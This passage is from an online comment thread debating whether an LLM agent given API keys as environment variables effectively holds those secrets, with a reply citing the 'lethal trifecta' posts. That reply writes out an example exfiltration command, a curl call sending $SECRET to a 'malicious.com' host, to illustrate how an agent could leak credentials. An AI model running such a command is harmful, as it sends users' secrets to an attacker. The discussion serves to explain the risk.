3 ms·

Then you inevitably have to leak your API secret to the LLM in order for it to successfully call the APIs. MCP is a thin toolcall auth layer that has to be the

• tymscar 8mo ago
  No? You can just have env vars
  • crazylogger 8mo ago
    Setting an env var on a machine the LLM has control over is giving it the secret. When LLM tries `echo $SECRET` or `curl https://malicious.com/api https://malicious.com/api -h secret:$SECRET` (or any one of infinitely many exfiltration methods possible), how do you plan on telling these apart from normal computer use? Prior art: https://simonwillison.net/2025/Jun/16/the-lethal-trifecta/ https://simonwillison.net/2025/Jun/16/the-lethal-trifecta/